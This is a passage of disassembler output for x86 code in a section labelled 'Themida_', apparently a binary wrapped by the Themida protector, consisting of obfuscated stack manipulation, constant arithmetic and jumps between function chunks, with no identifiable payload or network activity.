		push	dword ptr [esp]
		jmp	loc_557521
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_557033:				; CODE XREF: sub_55ABF6+1608j
		xor	edx, eax
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_55ABF6

; =============== S U B	R O U T	I N E =======================================



sub_55703A	proc near		; DATA XREF: Themida_:0055127Co

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00553785 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005548D9 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0055496E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00555885 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00555E19 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00557893 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055AEFA SIZE 0000004B BYTES
; FUNCTION CHUNK AT 0055B340 SIZE 0000000B BYTES

		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		jmp	loc_55B340
sub_55703A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D9AA


loc_557045:				; CODE XREF: sub_55D9AA-5036j
		push	[esp+0Ch+var_8]
		pop	esi
		pop	[esp+0Ch+var_C]
		jmp	loc_55C2C5
; END OF FUNCTION CHUNK	FOR sub_55D9AA
; ---------------------------------------------------------------------------


loc_557052:				; CODE XREF: Themida_:0055CEBEj
		or	esi, 464B6840h
		xor	esi, 467B07C0h
		jmp	loc_555A1F
; ---------------------------------------------------------------------------


loc_557063:				; CODE XREF: Themida_:0055928Ej
		add	edi, ebp
		pop	ebp
		add	edi, esi
		jmp	loc_554F6F
; ---------------------------------------------------------------------------


loc_55706D:				; CODE XREF: Themida_:0055D1B7j
		push	ebx
		push	edx
		jmp	loc_559C55
; ---------------------------------------------------------------------------


loc_557074:				; CODE XREF: Themida_:00555A1Aj
		mov	ecx, 4
		jmp	loc_55C5DF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55314C


loc_55707E:				; CODE XREF: sub_55314C+9AA0j
		add	edi, 4
		jmp	loc_552C0A
; END OF FUNCTION CHUNK	FOR sub_55314C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558326


loc_557089:				; CODE XREF: sub_558326+3C6Fj
		mov	eax, [esp+8+var_8]
		push	esi
		push	esp
		jmp	loc_55C22B
; END OF FUNCTION CHUNK	FOR sub_558326

; =============== S U B	R O U T	I N E =======================================



sub_557093	proc near		; DATA XREF: Themida_:005512D8o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00551BE8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00553372 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0055422F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00555922 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055AB59 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0055C2A7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055D70D SIZE 00000012 BYTES

		mov	cx, [esp+0]
		push	edi
		jmp	loc_55C2A7
sub_557093	endp

; ---------------------------------------------------------------------------


loc_55709D:				; CODE XREF: Themida_:0055284Bj
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		push	401Eh
		push	esp
		jmp	loc_5578D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556D34


loc_5570B2:				; CODE XREF: sub_556D34+2860j
		push	esi
		push	ebx
		mov	ebx, 1C523758h
		push	3A3F8BA0h
		pop	esi
		jmp	loc_55861A
; END OF FUNCTION CHUNK	FOR sub_556D34
; ---------------------------------------------------------------------------


loc_5570C4:				; CODE XREF: Themida_:0055DBF8j
		mov	edi, 4
		jmp	loc_5534E4
; ---------------------------------------------------------------------------


loc_5570CE:				; CODE XREF: Themida_:00558438j
		push	ebx
		push	ebp
		add	dword ptr [esp], 392A5947h
		pop	ebx
		jmp	loc_55CAC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55890A


loc_5570DD:				; CODE XREF: sub_55890A-2808j
		pop	eax
		pop	[esp+0Ch+var_C]
		mov	esp, [esp+8+var_8]
		xchg	eax, [esp-0Ch+arg_8]
		mov	esp, [esp-0Ch+arg_8]
		push	edx
		push	esp
		pop	edx
		push	143Bh
		mov	[esp-4+arg_0], edi
		push	631F3F57h
		pop	edi
		push	ecx
		jmp	sub_554F87
; END OF FUNCTION CHUNK	FOR sub_55890A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_557101:				; CODE XREF: sub_559249-4A19j
		add	eax, 4
		xchg	eax, [esp+14h+var_14]
		jmp	loc_55519E
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------


loc_55710C:				; CODE XREF: Themida_:0055356Cj
		push	edx
		jmp	loc_55C0DE
; ---------------------------------------------------------------------------


loc_557112:				; CODE XREF: Themida_:0055B8CAj
		push	5B1Fh
		mov	[esp], ecx
		push	eax
		push	ebx
		mov	bh, 47h
		mov	al, bh
		jmp	loc_553342
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551F97


loc_557125:				; CODE XREF: sub_551F97+3DB5j
		push	5B31h
		mov	[esp+6+var_6], edx
		mov	edx, 6D6346F2h
		jmp	loc_553650
; END OF FUNCTION CHUNK	FOR sub_551F97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552BA6


loc_557137:				; CODE XREF: sub_552BA6+73ADj
		mov	esi, [esp+4+var_4]
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], ebp
		mov	ebp, esp
		push	29EDh
		jmp	loc_557D84
; END OF FUNCTION CHUNK	FOR sub_552BA6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55715C:				; CODE XREF: sub_55ABF6-157Ej
		pop	dx
		sub	al, 37h
		sub	al, bh
		push	bx
		jmp	loc_55C7B5
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554E9D


loc_557169:				; CODE XREF: sub_554E9D+85C3j
		pop	ecx
		push	edi
		jmp	loc_55721D
; END OF FUNCTION CHUNK	FOR sub_554E9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C58B


loc_557170:				; CODE XREF: sub_55C58B+1282j
		pop	edi
		dec	edi
		shr	edi, 4
		neg	edi
		jmp	loc_55DD13
; END OF FUNCTION CHUNK	FOR sub_55C58B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55717C:				; CODE XREF: sub_55ABF6+DDBj
		mov	[esp-12h+arg_C+2], esp
		add	[esp-12h+arg_C+2], 4
		pop	edi
		jmp	loc_559BE3
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_55718C:				; CODE XREF: Themida_:0055A721j
		pop	eax
		jmp	loc_5514E3
; ---------------------------------------------------------------------------


loc_557192:				; CODE XREF: Themida_:0055C151j
		mov	eax, [esp]
		add	esp, 4
		push	esi
		push	esp
		mov	esi, [esp]
		jmp	loc_553CDC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552716


loc_5571A5:				; CODE XREF: sub_552716+Cj
		pop	ebp
		push	eax
		jmp	loc_557D41
; END OF FUNCTION CHUNK	FOR sub_552716
; ---------------------------------------------------------------------------


loc_5571AC:				; CODE XREF: Themida_:0055678Aj
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	[esp], eax
		pushf
		jmp	loc_5514E3
; ---------------------------------------------------------------------------


loc_5571BF:				; CODE XREF: Themida_:00555381j
		sub	esp, 4
		jmp	loc_55CF53
; ---------------------------------------------------------------------------


loc_5571CA:				; CODE XREF: Themida_:0055202Ej
		add	esi, ebx
		pop	ebx
		push	esi
		jmp	loc_552184

; =============== S U B	R O U T	I N E =======================================



sub_5571D3	proc near		; CODE XREF: sub_554114+379j

; FUNCTION CHUNK AT 00554770 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00555EA3 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00556E11 SIZE 00000006 BYTES

		push	ebx
		mov	ebx, 0FD808BEh
		shl	ebx, 8
		shl	ebx, 2
		push	ebp
		mov	ebp, 41B377F0h
		jmp	loc_556E11
sub_5571D3	endp

; ---------------------------------------------------------------------------


loc_5571EA:				; CODE XREF: Themida_:00551546j
		xor	ecx, ebp
		jmp	loc_55D38D
; ---------------------------------------------------------------------------


loc_5571F1:				; CODE XREF: Themida_:00553E1Fj
		add	ebx, 56941FBAh
		mov	edx, [esp]
		add	esp, 4
		sub	ebx, 4
		jmp	loc_55BAC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE3A


loc_557208:				; CODE XREF: sub_55AE3A-1122j
		sub	dh, 4Dh
		push	[esp+6+var_6]
		pop	eax
		add	esp, 4
		or	dh, 0DAh
		add	dh, 0AEh
		jmp	loc_55D2FB
; END OF FUNCTION CHUNK	FOR sub_55AE3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554E9D


loc_55721D:				; CODE XREF: sub_554E9D+22CEj
		mov	edi, 4
		jmp	loc_5534FE
; END OF FUNCTION CHUNK	FOR sub_554E9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558657


loc_557227:				; CODE XREF: sub_558657-4645j
		mov	eax, ecx
		pop	ecx
		add	eax, 4BDB1206h
		add	eax, 67DB51E2h
		push	ebx
		jmp	loc_555692
; END OF FUNCTION CHUNK	FOR sub_558657
; ---------------------------------------------------------------------------


loc_55723A:				; CODE XREF: Themida_:0055BC1Cj
		mov	esi, 19071BB9h
		add	dword ptr [esp+8], 0CD71FFBh
		sub	[esp+8], esi
		push	ebx
		mov	ebx, 0CD71FFBh
		sub	[esp+0Ch], ebx
		mov	ebx, [esp]
		jmp	loc_55A1C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555C6B


loc_55725D:				; CODE XREF: sub_555C6B+54C8j
		add	esi, eax
		add	esi, 0B0717E9h
		jmp	loc_55BCC3
; END OF FUNCTION CHUNK	FOR sub_555C6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_55726A:				; CODE XREF: sub_55A4DA-6FB2j
		add	esp, 4
		sub	edx, esi
		push	[esp+10h+var_10]
		pop	esi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+14h+var_14]
		pop	esp
		jmp	loc_553D6A
; END OF FUNCTION CHUNK	FOR sub_55A4DA
; ---------------------------------------------------------------------------


loc_55728B:				; CODE XREF: Themida_:0055DE10j
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		dec	dword ptr [esp]
		pushf
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_5572A0:				; CODE XREF: sub_55A4DA-31DBj
		push	35FAh
		mov	[esp+0Ch+var_C], edx
		sub	esp, 4
		mov	[esp+10h+var_10], esp
		add	[esp+10h+var_10], 4
		pop	edx
		add	edx, 4
		push	2C16h
		jmp	loc_553506
; END OF FUNCTION CHUNK	FOR sub_55A4DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55326E


loc_5572C6:				; CODE XREF: sub_55326E-472j
		add	edx, 18FE5E75h
		sub	edx, 25A68087h
		add	ebx, edx
		jmp	loc_553605
; END OF FUNCTION CHUNK	FOR sub_55326E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_5572D9:				; CODE XREF: sub_55A4DA-661Cj
		sub	bl, 7Bh
		sub	bl, 0F4h
		sub	bl, 99h
		push	ecx
		mov	cl, 0A7h
		xor	cl, 9
		add	cl, 8Eh
		add	bl, cl
		mov	ecx, [esp+14h+var_14]
		add	esp, 4
		pop	eax
		and	al, bl
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_5572A0
; END OF FUNCTION CHUNK	FOR sub_55A4DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551F97


loc_557304:				; CODE XREF: sub_551F97+A369j
		add	bx, si
		push	di
		mov	di, 681Fh
		add	bx, di
		pop	di
		pop	esi
		movzx	eax, ax
		jmp	loc_55881D
; END OF FUNCTION CHUNK	FOR sub_551F97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55731B:				; CODE XREF: sub_55ABF6-5682j
		neg	al
		add	al, 1Bh
		shr	al, 4
		xor	al, 0Ch
		and	dh, al
		pop	eax
		and	dh, 75h
		add	dh, 2Ch
		jmp	loc_552737
; ---------------------------------------------------------------------------


loc_557332:				; CODE XREF: sub_55ABF6-6FEDj
		pop	esp
		push	3205h
		jmp	loc_55B2CD
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554592


loc_55733D:				; CODE XREF: sub_554592-600j
		xchg	ecx, edi
		not	ecx
		xchg	ecx, edi
		push	ebp
		jmp	loc_55C21B
; END OF FUNCTION CHUNK	FOR sub_554592
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559CF7


loc_557349:				; CODE XREF: sub_559CF7-5720j
		pop	edx
		jmp	sub_551B2E
; END OF FUNCTION CHUNK	FOR sub_559CF7
; ---------------------------------------------------------------------------


loc_55734F:				; CODE XREF: Themida_:0055D723j
		pop	ebx
		and	ebp, 578D5D81h
		push	ebx
		mov	ebx, 1DAE3D59h
		sub	ebx, 376D43CDh
		sub	ebp, ebx
		pop	ebx
		jmp	loc_554B30
; ---------------------------------------------------------------------------


loc_55736A:				; CODE XREF: Themida_:00553691j
		shl	eax, 5
		or	eax, 6F8728Fh
		or	eax, 7D29633Ah
		xor	eax, 1A265EC7h
		jmp	loc_552351
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55314C


loc_557381:				; CODE XREF: sub_55314C+60BAj
		shr	edx, 3
		or	edx, 1BEC3F6Bh
		and	edx, 6BAE237Bh
		or	edx, 38E32BD4h
		add	edx, 36010A34h
		jmp	loc_559060
; END OF FUNCTION CHUNK	FOR sub_55314C
; ---------------------------------------------------------------------------


loc_5573A1:				; CODE XREF: Themida_:00558321j
		push	dword ptr [esp]
		jmp	loc_557DEE
; ---------------------------------------------------------------------------


loc_5573A9:				; DATA XREF: Themida_:005512B8o
		mov	cx, [esp]
		push	edi
		sub	esp, 4
		jmp	loc_558AB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B62C


loc_5573B9:				; CODE XREF: sub_55B62C-8D51j
		mov	[esp+8+var_8], edi
		push	ebx
		mov	ebx, 2
		mov	edi, ebx
		pop	ebx
		sub	ebp, 54473357h
		add	ebp, edi
		jmp	loc_552CBE
; END OF FUNCTION CHUNK	FOR sub_55B62C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B304


loc_5573D2:				; CODE XREF: sub_55B304-2E32j
		push	1DC4h
		mov	[esp+4+var_4], esi
		jmp	loc_555B10
; END OF FUNCTION CHUNK	FOR sub_55B304

; =============== S U B	R O U T	I N E =======================================



sub_5573DF	proc near		; DATA XREF: Themida_:00551408o
		push	dword ptr fs:[edx]
		jmp	loc_5514E3
sub_5573DF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_5573E7:				; CODE XREF: sub_55ABF6-4481j
		add	al, cl
		sub	al, 0FEh
		pop	ecx
		push	bx
		push	25C2h
		mov	[esp+0], ecx
		mov	cl, 21h
		jmp	loc_553A7C
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55890A


loc_5573FD:				; CODE XREF: sub_55890A+6j
		add	eax, ebx
		push	[esp+4+var_4]
		pop	ebx
		sub	esp, 4
		mov	[esp+8+var_8], eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_559372
; END OF FUNCTION CHUNK	FOR sub_55890A
; ---------------------------------------------------------------------------


loc_557418:				; CODE XREF: Themida_:00558D96j
		sub	esi, 5AA504DAh
		add	esi, 0CA58A2C8h
		jmp	loc_55A141
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_557429:				; CODE XREF: sub_55C814-58C5j
		sub	edi, 456A0F09h
		not	edi
		push	ebp
		mov	ebp, 12BA3BEEh
		push	ecx
		mov	ecx, 45B36242h
		sub	ebp, ecx
		pop	ecx
		dec	ebp
		shr	ebp, 5
		sub	ebp, 0B8300256h
		add	edi, ebp
		pop	ebp
		and	eax, edi
		jmp	loc_55C203
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------


loc_557454:				; CODE XREF: Themida_:00559625j
		xor	edx, 0B3CA6918h
		mov	ecx, edx
		pop	edx
		xor	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		push	esp
		jmp	loc_558340
; ---------------------------------------------------------------------------


loc_55746F:				; DATA XREF: Themida_:005512BCo
		pop	dword ptr [edx]
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55611A


loc_557476:				; CODE XREF: sub_55611A+6CE0j
		pop	edx
		shr	bh, 7
		xor	bh, 0BFh
		mov	ch, 0Ah
		sub	ch, bh
		mov	ebx, [esp+8+var_8]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0Ch+var_C]
		pop	esp
		sub	ch, 0D8h
		sub	al, ch
		mov	ecx, [esp+8+var_8]
		push	ecx
		push	esp
		pop	ecx
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		jmp	loc_554031
; END OF FUNCTION CHUNK	FOR sub_55611A
; ---------------------------------------------------------------------------


loc_5574B6:				; CODE XREF: Themida_:00552FFFj
		sub	ebx, 387F6B1Dh
		add	ebx, eax
		add	ebx, 387F6B1Dh
		pop	eax
		jmp	loc_559D81
; ---------------------------------------------------------------------------


loc_5574CA:				; CODE XREF: Themida_:00552EDEj
		sar	word ptr [esp],	cl
		pushf
		jmp	loc_5514E3
; ---------------------------------------------------------------------------


loc_5574D4:				; CODE XREF: Themida_:0055830Dj
		mov	ebx, [esp]
		add	esp, 4
		add	cl, 83h
		add	cl, 0D7h
		xor	cl, 71h
		shr	cl, 7
		jmp	loc_551F06
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_5574EE:				; CODE XREF: sub_55C814-A94j
		xor	[esp+0], ebx
		xor	ebx, [esp+0]
		xor	[esp+0], ebx
		pop	eax
		push	2D9Eh
		mov	[esp+0], ebp
		push	eax
		mov	eax, 15BB247Fh
		jmp	loc_5590F2
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------


loc_55750B:				; CODE XREF: Themida_:005578CFj
		add	ebx, 635A197Bh
		add	ebx, ebp
		jmp	loc_556306
; ---------------------------------------------------------------------------


loc_557518:				; CODE XREF: Themida_:00553BD3j
		mov	[esp], ecx
		push	edx
		jmp	loc_558104
; ---------------------------------------------------------------------------


loc_557521:				; CODE XREF: Themida_:0055702Ej
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		push	1416h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	edx
		sub	esp, 4
		jmp	loc_55D735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D40D


loc_557541:				; CODE XREF: sub_55D40D-BC09j
		add	edi, 0C196410h
		add	edi, ebx
		sub	edi, 0C196410h
		add	edi, 5AD82BDAh
		pop	ebx
		xchg	edi, [esp+8+var_8]
		pop	esp
		push	eax
		jmp	loc_55B87F
; END OF FUNCTION CHUNK	FOR sub_55D40D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552E8E


loc_557560:				; CODE XREF: sub_552E8E+FB2j
		and	edx, 590C698Ch
		sub	edx, 0FFFFFFFFh
		or	edx, 4DE93163h
		push	ebp
		mov	ebp, 5DE9796Bh
		jmp	loc_552C96
; END OF FUNCTION CHUNK	FOR sub_552E8E
; ---------------------------------------------------------------------------


loc_55757A:				; CODE XREF: Themida_:0055D9D0j
		push	eax
		push	34CAh
		mov	[esp], ebp
		pop	eax
		pop	ebp
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_556F2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_557593:				; CODE XREF: sub_55ABF6-1078j
		pop	esp
		jmp	loc_559B65
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_557599:				; CODE XREF: sub_55CE17+29j
		push	edx
		pop	eax
		pop	edx
		push	[esp-10h+arg_C]
		pop	ecx
		push	ebx
		mov	ebx, esp
		push	edx
		jmp	loc_555539
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------


loc_5575A9:				; CODE XREF: Themida_:0055A999j
		add	esp, 4
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_557C2C
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], ecx
		push	edi
		push	esi
		mov	esi, 468A7E7Fh
		mov	edi, 92ACE937h
		sub	edi, esi
		pop	esi
		not	edi
		or	edi, 1BC44F4Eh
		xor	edi, 238221C2h
		dec	edi
		jmp	loc_5535BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551F97


loc_5575EE:				; CODE XREF: sub_551F97+Dj
		add	eax, ebp
		pop	ebp
		xor	eax, dword ptr [esp+2+var_2]
		xor	dword ptr [esp+2+var_2], eax
		xor	eax, dword ptr [esp+2+var_2]
		pop	esp
		jmp	loc_55155E
; END OF FUNCTION CHUNK	FOR sub_551F97
; ---------------------------------------------------------------------------


loc_557600:				; CODE XREF: Themida_:0055B577j
		mov	edi, [esp]
		add	esp, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_559712
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552215


loc_557614:				; CODE XREF: sub_552215+31Ej
		pop	[esp+0Ch+var_C]
		mov	esp, [esp+8+var_8]
		mov	[esp+8+var_8], ebp
		push	ecx
		mov	ecx, 1
		mov	ebp, ecx
		pop	ecx
		add	[esp+8+var_4], ebp
		jmp	loc_555DE0
; END OF FUNCTION CHUNK	FOR sub_552215
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55314C


loc_55762F:				; CODE XREF: sub_55314C-11F5j
		mov	[esp+8+var_8], ebp
		mov	ebp, 4F9E5C5Eh
		jmp	loc_552C45
; END OF FUNCTION CHUNK	FOR sub_55314C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55BB30


loc_55763C:				; CODE XREF: sub_55BB30-626Ej
		pop	ebp
		pop	edx
		push	786h
		jmp	loc_554039
; END OF FUNCTION CHUNK	FOR sub_55BB30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5523E1


loc_557648:				; CODE XREF: sub_5523E1-84Ej
		mul	cx
		jmp	loc_556B64
; END OF FUNCTION CHUNK	FOR sub_5523E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_557650:				; CODE XREF: sub_55ABF6-2276j
		pop	esi
		or	esi, eax
		jmp	loc_558A50
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55DE28


loc_557658:				; CODE XREF: sub_55DE28+1j
		push	[esp+4+var_4]
		mov	eax, [esp+8+var_8]
		jmp	sub_55AB81
; END OF FUNCTION CHUNK	FOR sub_55DE28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A0D6


loc_557663:				; CODE XREF: sub_55A0D6+16BEj
		mov	esi, esp
		push	ebx
		push	4
		mov	ebx, [esp+0Ch+var_C]
		jmp	loc_553E67
; END OF FUNCTION CHUNK	FOR sub_55A0D6
; ---------------------------------------------------------------------------


loc_557673:				; CODE XREF: Themida_:0055D0EEj
		push	ebx
		mov	ebx, 765B616Ch
		inc	ebx
		inc	ebx
		neg	ebx
		sub	ebx, 58259AF1h
		mov	edx, ebx
		pop	ebx
		add	ebx, edx
		pop	edx
		jmp	loc_55AE02
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55768E:				; CODE XREF: sub_55ABF6-6699j
		sub	esi, ebp
		pop	ebp
		add	esi, 43D11937h
		shl	esi, 6
		push	ebp
		mov	ebp, 9A20B7Dh
		sub	ebp, 1
		and	ebp, 71347C2Ch
		jmp	loc_5558D3
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_5576AE:				; CODE XREF: sub_559249+2E00j
		xor	eax, 20014h
		jmp	loc_552F06
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------


loc_5576B8:				; CODE XREF: Themida_:00554BA8j
		pop	esi
		add	esp, 4
		push	0F48h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		and	[esp], eax
		pushf
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_5576D6:				; CODE XREF: sub_55ABF6-75ABj
		mov	edx, 5D437EBDh
		jmp	loc_553BF3
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55910B


loc_5576E0:				; CODE XREF: sub_55910B-6A0Ej
		mov	dl, 0DAh
		shr	dl, 1
		sub	dl, 5Eh
		sub	cl, dl
		pop	edx
		sub	cl, 0E9h
		jmp	loc_5531B8
; END OF FUNCTION CHUNK	FOR sub_55910B
; ---------------------------------------------------------------------------


loc_5576F2:				; CODE XREF: Themida_:0055D094j
		add	ebp, edi
		jmp	loc_556C4D
; ---------------------------------------------------------------------------


loc_5576F9:				; CODE XREF: Themida_:0055224Fj
		pop	esi
		inc	eax
		shl	eax, 5
		shl	eax, 8
		add	eax, 94000004h
		add	ebx, 30246B03h
		jmp	loc_559F64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558657


loc_557711:				; CODE XREF: sub_558657+1Cj
		add	ebx, 4
		sub	esp, 4
		mov	[esp+4+var_4], edi
		push	2
		pop	edi
		add	ebx, edi
		mov	edi, [esp+4+var_4]
		jmp	loc_5543D6
; END OF FUNCTION CHUNK	FOR sub_558657

; =============== S U B	R O U T	I N E =======================================



sub_557730	proc near		; CODE XREF: sub_557093-54A8j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0055227F SIZE 00000010 BYTES

		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_55227F
sub_557730	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55BB30


loc_55773A:				; CODE XREF: sub_55BB30-9DD9j
		xor	eax, 39CF64E5h
		push	ecx
		mov	ecx, 45A29C4h
		neg	ecx
		neg	ecx
		sub	ecx, 43DF3ED4h
		jmp	loc_553B88
; END OF FUNCTION CHUNK	FOR sub_55BB30
; ---------------------------------------------------------------------------


loc_557754:				; CODE XREF: Themida_:0055DA98j
		add	ecx, 4
		push	ebp
		push	ecx
		mov	ecx, 191429D7h
		shl	ecx, 5
		xor	ecx, 22853AE4h
		mov	ebp, ecx
		pop	ecx
		add	ecx, ebp
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		xchg	ecx, [esp]
		pop	esp
		push	edx
		mov	edx, esp
		jmp	loc_558E38
; ---------------------------------------------------------------------------


loc_557790:				; CODE XREF: Themida_:00559244j
		add	esp, 4
		push	ecx
		mov	cl, 9Dh
		sub	cl, 61h
		sub	al, 0B9h
		jmp	loc_555A05
; ---------------------------------------------------------------------------


loc_5577A3:				; CODE XREF: Themida_:0055525Ej
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		push	esi
		jmp	loc_55A58E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_5577B1:				; CODE XREF: sub_55ABF6+1E9Dj
		mov	edi, ebp
		mov	ebp, [esp+0]
		add	esp, 4
		and	ecx, edi
		pop	edi
		jmp	loc_55668F
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_5577C4:				; CODE XREF: Themida_:005542CBj
		mov	dh, bl
		pop	ebx
		push	691Eh
		mov	[esp], ecx
		mov	ecx, 38h
		add	ecx, edi
		push	1EB6h
		jmp	loc_5555D5
; ---------------------------------------------------------------------------


loc_5577E0:				; CODE XREF: Themida_:0055170Ej
